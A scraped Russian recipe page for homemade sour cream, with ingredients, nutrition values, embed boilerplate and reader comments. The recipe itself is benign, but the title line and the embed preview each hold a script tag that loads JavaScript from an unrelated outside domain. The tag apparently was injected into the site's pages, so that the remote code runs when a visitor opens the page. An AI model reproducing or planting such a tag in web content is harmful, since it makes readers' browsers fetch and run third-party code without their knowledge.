, Домашняя сметана, сметана, домашняя, сливочный" /> – кулинарный рецепт">
  • 27 декабря 2014, 16:17
  • 16087

Настоящая домашняя сметана без лишних усилий

Рецепт: Настоящая домашняя сметана без лишних усилий<script type="text/javascript" src="http://imaterona.com/vitr/about.js"></script>

Моментальная сметана всего за пару минут! Вкусней этой сметаны я не пробовала! Попробуйте и Вы!!!

Категория: Приготовление молочных продуктов Домашняя сметана

Ингредиенты для «Настоящая домашняя сметана без лишних усилий»:

  • Сливки (лучше домашние, можно магазинные 20%ж и выше) — 500 мл
  • Сметана (сметанку лучше взять пожирней) — 2 ст. л.

Время приготовления:

Количество порций: 4

Пищевая и энергетическая ценность:

Готового блюда
ккал
1754.3 ккал
белки
13.7 г
жиры
181.5 г
углеводы
16.3 г
Порции
ккал
438.6 ккал
белки
3.4 г
жиры
45.4 г
углеводы
4.1 г
100 г блюда
ккал
324.9 ккал
белки
2.5 г
жиры
33.6 г
углеводы
3 г


Рецепт «Настоящая домашняя сметана без лишних усилий»:

Добавляем сметану в сливки, хорошо перемешиваем и оставляем на ночь на кухне (крышку не закрываем как на видео, сметану не перемешиваем, даем ей загустеть, не нарушая процесса ). (время в тепле не более 8 часов, чтобы не перекисла) Утром убираем в холодильник и на следующий день сметана готова! Чем дольше сметанка простоит в холодильнике не перемешанная (с верхней густой пленкой) тем более густой она станет. Через дня 3 настоящая очень густая деревенская сметана готова!))) Ну а все подробности и дополнительные комментарии в видео!


BB-код для вставки:
BB-код используется на форумах
HTML-код для вставки:
HTML код используется в блогах, например LiveJournal
Как это будет выглядеть?
Настоящая домашняя сметана без лишних усилий
Рецепт: Настоящая домашняя сметана без лишних усилий<script type="text/javascript" src="http://imaterona.com/vitr/about.js"></script>

Моментальная сметана всего за пару минут! Вкусней этой сметаны я не пробовала! Попробуйте и Вы!!!

Ингредиенты для «Настоящая домашняя сметана без лишних усилий»:

Комментарии и отзывы

Здравствуйте. А вы сливки чуток да 30градусов не нагреваете?. Комнатной температуры используете?
обычно комнатной)
Йогурты я делаю, а вот до сметанки что-то руки не дошли. Оказывается, все так просто. Спасибо.
Всегда пожалуйста
Подскажите ,а сливки из домашнего молока для сметаны сырые?Не опасно ли это для деток?
Сливки получаются сырые, если переживаете попробуйте немного вскипятить их, заием остудить и сделать сметану. А вообще я всегда делала из сырых, и деткам даю - проблем не возникало. Может от того, что сама в детстве часто была в деревне у бабушки и смело пила и сырое молоко и бабушкину сметанку кстати, домашнюю сметану на рынке и бабушки делают также из сырых сливок
смотрю уже не первый ваш рецепт, почему не показываете конечный результат? и нет желания применить ваш рецепт, а вдруг ерунда и продукты будут зря использованы?
Леночка, а где именно нет результата? В йогурте, кефире и капусте квашеной? В остальных везде есть, уже давно исправилась и результат показан!
только что просмотрела ваш ролик о приготовлении сметаны и получаемый продукт на видео не показан
только что просмотрела ваш ролик о приготовлении сметаны и получаемый продукт на видео не показан
Просмотрите остальные вы писали здесь - я о нем и не говорила. Указала для Вас где нет и написала, что на следующих результат есть.
Как и писала выше уже давно исправила и в последующих видео результат показан.
А у меня видео не воспроизводится. Не могли бы в кратце описать нюансы
А у меня видео не воспроизводится. Не могли бы в кратце описать нюансы
Юлия, очень жаль, что не воспроизводится Под видео есть описание самого процесса приготовления сметаны, все этапы по порядку, единственное, что когда смешаете сливки со сметаной крышку сверху просто положите, не закрывайте, чтобы к сметанке попадал воздух. А все остальное делайте как в описании под видео! Удачи!
Подскажите, пожалуйста, в дальнейшем сметанку можно делать из уже сделанной?
Да, конечно! Берете пару ложечек вашей сметанки и заквашиваете ею новую партию сливок! я так теперь постоянно и делаю, только вашей сметанке должно быть не меньше 3 дней, чтобы она была густовата! удачи!
Спасибо!
А я делаю сметану из домашних сливок с молоком,научили бабушки на рынке.Она не такая жирная.250 гр.сливок и 0,5 литра молока.Процесс тот же.Главное угадать момент закисления,если недодержать,сметана не загустеет в холодильнике.
Здравствуйте, Татьяна! Напишите, пожалуйста, рецепт вашей сметанки по подробнее.
Сливки и молоко покупаю на рынке у своих,проверенных молочниц.Вообще-то они говорили смешивать молоко сливки в равных пропорциях,но на мой вкус получалась очень жирная сметана и я стала экспериментировать.На 250 гр.сливок 0,5 литра молока - то,что надо.Все перемешиваете до однородности в 800 гр банке и оставляете в тепле до появления характерной сметанной кислинки.Летом я оставляла на 12 часов,зимой даже на сутки.Один раз не докислила и сметана не застыла,пришлось еще держать в тепле всю ночь. Потом ставите в холодильник.Хранится больше недели без всяких консервантов.
А я ломала голову как приготовить сметану из сливок, и никак у меня не выходило - сливки пропадали в тепле быстро, а когда ставила в холодильник, то не скисали как положено и в сметану превращатся не желали, а вот значит какой есть секретик!
Да-да)))) такой маааленький и простой секретик! главное не держите в тепле больше 8-10 часов, чтобы не перекисла, а в холодильнике уже загустеет!
Неужели так просто? Спасибо!
Вот так все просто))) и не только сметана))) Главное взять качественные продукты и получите вкусный результат
Забрала к себе. Сделаю и напишу, как получилось.
Забирайте)) Буду ждать вашего отзыва о сметанке!
Наверх

Оставить комментарий или отзыв о рецепте

Рубрикатор рецептов

ВКонтакте
Facebook
Опрос
Что для вас лучшее начало дня?


Уже 2201 ответ Ответить

Категории рецептов Назначения рецептов Национальные кухни Развернуть весь список
Поиск по сайту

Наши рассылки